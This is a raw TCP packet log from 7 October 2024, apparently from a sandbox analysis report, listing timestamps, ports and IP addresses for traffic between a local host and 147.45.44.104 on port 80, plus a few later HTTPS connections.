Oct 7, 2024 21:18:03.687700033 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687700033 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687824011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687824011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688143969 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688153982 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688172102 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688182116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688199043 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688209057 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688256025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688256025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688256025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688805103 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688812971 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688829899 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688839912 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688857079 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688868046 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688880920 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688888073 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688889027 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688889027 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688900948 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.688954115 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688954115 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.688954115 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.689378977 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689388990 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689405918 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689414978 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689433098 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689443111 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.689454079 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.689454079 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.689454079 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.689462900 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690126896 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690138102 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690155029 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690165043 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690165997 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690165997 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690165997 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690184116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690186977 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690186977 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690193892 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690202951 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690212965 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690222025 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690229893 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690229893 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690246105 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690278053 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.690958977 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690969944 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.690994024 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691004992 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691015959 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691015959 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691023111 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691034079 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691051006 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691060066 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691060066 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691060066 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691061974 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691076994 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691088915 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691102982 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691102982 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691102982 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691121101 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691131115 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691793919 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691804886 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691823959 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691833973 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691847086 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691859961 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.691869020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691869020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.691869020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692269087 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692269087 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692270994 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692281961 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692364931 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692375898 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692389011 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692400932 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692400932 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692400932 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692404985 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692420006 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692430019 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692436934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692436934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692436934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692449093 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692457914 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692465067 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.692473888 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692487955 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.692528963 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693264008 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693274975 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693288088 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693306923 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693311930 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693315983 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693326950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693335056 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693345070 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693365097 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693367958 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693367958 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693375111 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693392038 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.693411112 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693411112 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.693429947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694132090 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694143057 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694160938 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694171906 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694185972 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694195986 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694199085 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694199085 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694199085 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694212914 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694222927 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694237947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694237947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694237947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694242001 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694279909 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694279909 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694279909 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.694933891 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694945097 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694962025 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694971085 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694988966 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.694998980 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695003986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695003986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695003986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695013046 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695028067 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695043087 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695051908 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695056915 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695058107 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695058107 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695070028 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695080042 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.695096016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695096016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695096016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695410967 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.695410967 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696012974 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696022987 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696039915 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696049929 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696067095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696077108 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696079016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696079016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696079016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696094990 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696105003 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696116924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696116924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696116924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696121931 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696130991 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696146965 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696156979 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696172953 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696173906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696173906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696173906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696214914 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696214914 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696214914 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696815014 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696825981 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696834087 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696851969 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696861982 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696880102 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696888924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696888924 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696888924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696888924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696908951 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696918964 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696935892 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696945906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696947098 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696945906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696945906 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696959972 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.696993113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696993113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.696993113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.711427927 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770154953 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770207882 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770232916 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770256042 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770256042 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770330906 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770347118 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770375013 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770390034 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770390034 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770390034 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770397902 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770653009 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770653009 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770668030 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770683050 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770710945 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770729065 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770755053 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770755053 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770755053 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770781994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.770979881 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.770998955 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771023989 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771065950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771066904 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771066904 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771302938 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771317005 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771344900 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771363020 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771395922 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771395922 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771395922 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771395922 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771415949 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771435976 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771459103 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771477938 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771497011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771497011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771497011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771519899 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.771971941 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.771991968 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772017956 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772027969 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772028923 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772037983 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772056103 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772082090 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772100925 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772100925 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772103071 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772125006 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772147894 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772169113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772169113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772169113 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772511005 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772669077 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772687912 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772708893 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772708893 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772708893 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772712946 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772727966 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772732019 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772753954 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772757053 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772775888 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772798061 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772798061 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772799969 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772823095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772840023 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772864103 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772865057 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.772864103 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772864103 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772910118 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.772910118 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773588896 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773606062 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773633003 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773654938 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773670912 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773683071 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773683071 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773683071 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773694992 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.773726940 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773726940 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.773756981 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:04.373425961 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:07.315390110 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:07.315388918 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:07.409178972 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:09.166043043 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:09.166166067 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:16.083818913 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.083848000 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.083920002 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.084278107 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.084306955 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.726846933 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.727021933 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.768886089 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.768920898 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.769181967 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.815371990 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.866394043 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.907435894 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978809118 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978838921 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978846073 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978866100 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978894949 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978894949 CEST	49713	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:16.978919983 CEST	443	49713	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:16.978935957 CEST	49713	443	192.168.2.5	13.107.253.45
